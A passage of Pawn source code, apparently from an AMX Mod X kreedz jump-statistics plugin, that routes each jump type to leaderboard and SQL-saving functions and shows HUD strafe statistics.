								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[10],10, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[10],10, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[6],6, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
									
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[6],6,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"doublecj_top");
								tmp_type_num=10;
							}
						}
						else if(!CjafterJump[id] && jump_type[id]==Type_Multi_CountJump && kz_top==1 && uq_mcj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops2( id,Type_List[21],21, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],ducks[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[21],21, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[7],7, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
									
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[7],7,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"multicj_top");
								tmp_type_num=21;
							}
						}
						else if(!CjafterJump[id] && jump_type[id]==Type_CountJump && kz_top==1 && uq_cj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[2],2, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[2],2, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[1],1, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
									
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[1],1,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"cj_top");
								tmp_type_num=2;
							}
						}
						else if((jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) && kz_top==1 && uq_lj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[0],0, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										if(jump_type[id]==Type_HighJump)
										{
											checktops_block( id,"hj",6, distance[id], edgedist[id], jumpblock[id]); 
										}
										else checktops_block( id,Type_List[0],0, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[0],0, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
								
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										if(jump_type[id]==Type_HighJump)
										{
											checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),"hj",9,distance[id],edgedist[id],jumpblock[id],weapon_name); 
										}
										else checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[0],0,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"lj_top");
								tmp_type_num=0;
							}
						}
						else if(jump_type[id]==Type_ladder && kz_top==1 && uq_ladder==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[6],6, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
								}
								
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"ladder_top");
								tmp_type_num=6;
							}
						}
						else if(jump_type[id]==Type_BhopLongJump && kz_top==1 && uq_bj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[4],4, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[4],4, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[3],3, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
								
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[3],3,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"bj_top");
								tmp_type_num=4;
							}
						}
						else if(jump_type[id]==Type_ladderBhop && kz_top==1 && uq_ldbj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0) 
								{
									checktops1( id,Type_List[7],7, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[7],7, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"ladderbhop_top");
								tmp_type_num=7;
							}
						}
						else if(jump_type[id]==Type_WeirdLongJump && kz_top==1 && uq_wj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[3],3, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[3],3, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[2],2, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
									
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[2],2,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"wj_top");
								tmp_type_num=3;
							}
						}
						else if(jump_type[id]==Type_Drop_BhopLongJump && kz_top==1 && uq_drbj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[9],9, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);  
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[9],9, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[5],5, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
								
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[5],5,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"dropbj_top");
								tmp_type_num=9;
							}
						}
						else if(jump_type[id]==Type_StandupBhopLongJump && kz_top==1 && uq_sbj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[5],5, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);  
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[5],5, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[4],4, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
								
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[4],4,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"sbj_top");
								tmp_type_num=5;
							}
						}
						else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==0 && kz_extras==1 && kz_top==1 && uq_drsbj==1)
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[1],1, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);   
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[1],1, distance[id], edgedist[id], jumpblock[id]); 
									}
								
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"scj_top");
								tmp_type_num=1;
							}
						}
						else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==1 && kz_extras==1 && kz_top==1 && uq_dscj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[11],11, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[11],11, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"doublescj_top");
								tmp_type_num=11;
							}
						}
						else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==2 && kz_extras==1 && kz_top==1 && uq_mscj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0) 
								{
									checktops2( id,Type_List[22],22, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],ducks[id]);  
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[22],22, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"multiscj_top");
								tmp_type_num=22;
							}
						}
						else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==0 && kz_extras==1 && kz_top==1 && uq_dropscj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[12],12, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);  
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[12],12, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"dropscj_top");
								tmp_type_num=12;
							}
						}
						else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==1 && kz_extras==1 && kz_top==1 && uq_dropdscj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[13],13, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[13],13, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"dropdoublescj_top");
								tmp_type_num=13;
							}
						}
						else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==2 && kz_extras==1 && kz_top==1 && uq_dropmscj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops2( id,Type_List[23],23, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],ducks[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[23],23, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"dropmultiscj_top");
								tmp_type_num=23;
							}
						}
						else if(jump_type[id]==Type_DuckBhop && kz_extras==1 && kz_top==1 && uq_duckbhop==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[14],14, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[14],14, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"duckbhop_top");
								tmp_type_num=14;
							}
						}
						else if(jump_type[id]==Type_Bhop_In_Duck && kz_extras==1 && kz_top==1 && uq_bhopinduck==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[15],15, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[15],15, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"bhopinduck_top");
								tmp_type_num=15;
							}
						}
						else if(jump_type[id]==Type_Real_ladder_Bhop && kz_extras==1 && kz_top==1 && uq_realldbhop==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[16],16, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[16],16, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"realladderbhop_top");
								tmp_type_num=16;
							}
						}
						else if(jump_type[id]==Type_Up_Bhop && kz_extras==1 && kz_top==1 && uq_upbj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[17],17, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[17],17, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"upbj_top");
								tmp_type_num=17;
							}
						}
						else if(jump_type[id]==Type_Up_Bhop_In_Duck && kz_extras==1 && kz_top==1 && uq_upbhopinduck==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[19],19, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[19],19, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"upbhopinduck_top");
								tmp_type_num=19;
							}
						}
						else if(jump_type[id]==Type_Up_Stand_Bhop && kz_extras==1 && kz_top==1 && uq_upsbj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[18],18, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[18],18, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"upsbj_top");
								tmp_type_num=18;
							}
						}
						else if(jump_type[id]==Type_Multi_Bhop && kz_extras==1 && kz_top==1 && uq_multibhop==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops2( id,Type_List[24],24, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],bhop_num[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[24],24, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"multibhop_top");
								tmp_type_num=24;
							}
						}
						else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==2 && kz_extras==1 && kz_top==1 && uq_dropmcj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops2( id,Type_List[25],25, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],ducks[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[25],25, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"multidropcj_top");
								tmp_type_num=25;
							}
						}
						else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==1 && kz_extras==1 && kz_top==1 && uq_dropdcj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[20],20, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[20],20, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"doubledropcj_top");
								
								tmp_type_num=20;
							}
						}
						else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==0 && kz_top==1 && uq_drcj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[8],8, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[8],8, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[8],8, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
								
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[8],8,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"dropcj_top");
								
								tmp_type_num=8;
							}
						}
						
					
						if(tmp_type_num!=-1 && !ddstandcj[id] && !CjafterJump[id] && kz_sql==1 && jump_type[id]!=Type_None && jump_type[id]!=Type_Null && jump_type[id]!=Type_Nothing && jump_type[id]!=Type_Nothing2) 
						{
							if(jumpblock[id]>100 && kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
							{
								new cData[6];
								
								cData[0] = floatround(distance[id]*1000000);
								cData[1] = floatround(edgedist[id]*1000000);
								cData[2] = jumpblock[id];
								
								if(jump_type[id]==Type_HighJump)
								{
									cData[3]=6;
								}
								else cData[3] = tmp_type_num;
								
								cData[4] = Pmaxspeed;
								cData[5] = wpn;
								
								PlayerSaveData_to_SQL_block(id, cData);
							}
							
							new cData[9];
							cData[0] = floatround(distance[id]*1000000);
							cData[1] = floatround(maxspeed[id]*1000000);
							cData[2] = floatround(prestrafe[id]*1000000);
							cData[3] = strafe_num[id];
							cData[4] = sync_[id];
							
							
							if(jump_type[id]==Type_Multi_Bhop)
							{
								cData[5]=bhop_num[id];
							}
							else cData[5] = ducks[id];
							
							cData[6] = tmp_type_num;
							cData[7] = Pmaxspeed;
							cData[8] = wpn;
							
							PlayerSaveData_to_SQL(id, cData);
						}
					}
					
			
					if(kz_stats_pre[id]==true)//ducks stat for mcj
					{
						strM[0] = '^0'; 
						strMBuf[0] = '^0'; 
						strL = INFO_ZERO;
						for(jj = 2;jj <= ducks[id]; jj++)
						{
							strL += format(strM[strL],(40*NSTRAFES)-strL-1, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT8", jj-1,statsduckspeed[id][jj]);
						}
						copy(strMBuf,strL,strM);//dlya stat ducks
					}
					if(uq_istrafe)
					{
						new st1[NSTRAFES],st2[NSTRAFES];
						for(new i = 1;i <= strafe_num[id]; i++)
						{
							if(i<NSTRAFES)
							{
								st1[i]=strafe_stat_sync[id][i][0];
								st2[i]=strafe_stat_sync[id][i][1];
							}
						}
						
						for( new i = INFO_ONE; i < max_players; i++ )
						{
							if( (i == id || is_spec_user[i]))
							{
								if(ingame_strafe[i])
								{
									new Float:or[3];
									pev(id,pev_origin,or);
									
									remove_beam_ent(i);
									
									epta(i,or,direct_for_strafe[id],line_lost[id],FullJumpFrames[id],is_user_ducking(id),strafe_num[id],st1,st2,strafe_lost_frame[id]);
								}
							}
						}
					}

/*
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]) && g_lj_stats[i]==true)
						{	
							copy(strMessBuf,strLen,strMess);
							//stats
							if(jump_type[id]==Type_Multi_Bhop &&!failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats  );	
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT1", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id],bhop_num[id]);
							}
							else if((jump_type[id]==Type_Double_CountJump || (multiscj[id]==1 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==1 && jump_type[id] == Type_Drop_CountJump)) &&!failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );	
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT2", type, distance[id], maxspeed[id], gain[id], prest1[id],prest[id], prestrafe[id],strafe_num[id], sync_[id],dd_sync[id]);
							}
							else if((jump_type[id]==Type_ladderBhop || jump_type[id]==Type_ladder || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump || jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) &&!failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats  );	
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT0", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id]);
							}
							else if((jump_type[id]==Type_CountJump || (multiscj[id]==0 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==0 && jump_type[id] == Type_Drop_CountJump)) && !failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats);
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT4", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],strafe_num[id], sync_[id],dd_sync[id]);
							}
							else if((jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Real_ladder_Bhop || jump_type[id]==Type_DuckBhop || jump_type[id] == Type_BhopLongJump || jump_type[id] == Type_StandupBhopLongJump ) && !failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats);
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT0", type, distance[id], maxspeed[id], gain[id],prestrafe[id],strafe_num[id], sync_[id]);
							}
							else if((jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump)) && !failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT6", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],ducks[id], strafe_num[id], sync_[id],dd_sync[id]);
							}
							
							if(jump_type[id] != Type_Slide && streifstat[id]==true && jump_type[id]!=Type_None && !failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, strafe_x, strafe_y, 0, 6.0, 2.5, 0.1, 0.3, h_streif);
								show_hudmessage(i,"%L",LANG_SERVER,"UQSTATS_HUD_PRINT7",strMessBuf); //stata streifof
							}
							
							if(kz_stats_pre[id]==true && (jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump)) && !failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, duck_x,duck_y, 0, 6.0, 2.5, 0.1, 0.3, h_duck);	
								show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT7",strMBuf);//stata duckov
							}
							
							//failstats
							if(jump_type[id]==Type_Multi_Bhop  && (failed_jump[id]))
							{
								set_hudmessage( f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT1", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id],bhop_num[id]);
							}
							else if((jump_type[id]==Type_ladderBhop || jump_type[id]==Type_ladder || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump || jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump)  && (failed_jump[id]))
							{
								set_hudmessage( f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT0", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id]);
							}
							else if((jump_type[id]==Type_CountJump || (multiscj[id]==0 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==0 && jump_type[id] == Type_Drop_CountJump)) && (failed_jump[id]))
							{
								set_hudmessage(f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT4", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],strafe_num[id], sync_[id],dd_sync[id]);
							}
